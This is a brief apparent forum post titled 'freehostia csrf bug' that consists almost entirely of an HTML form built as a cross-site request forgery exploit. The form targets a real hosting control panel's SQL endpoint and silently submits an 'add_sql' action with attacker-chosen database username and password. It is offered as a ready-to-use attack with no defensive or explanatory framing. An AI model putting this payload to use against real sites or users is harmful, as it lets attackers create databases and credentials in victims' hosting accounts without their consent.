freehostia csrf bug

[Mr.XpR]

[align=LEFT]


[php]

< -- bug code start -- >



<FORM action=" https://cp.freehostia.com/members/sql/?action=sql" method=post>
<INPUT maxLength=5 name=username value="NAME">
<INPUT type=password value="PASSWORD" name=password>
<INPUT type=password value="PASSWORD" name=repassword>
<INPUT type=hidden value=add_sql name=action>
<INPUT class=buttonNormal id=AddNew type=submit value="Add SQL Database" name=submit>
</FORM>


< -- bug code end of -- >

[/php][/align]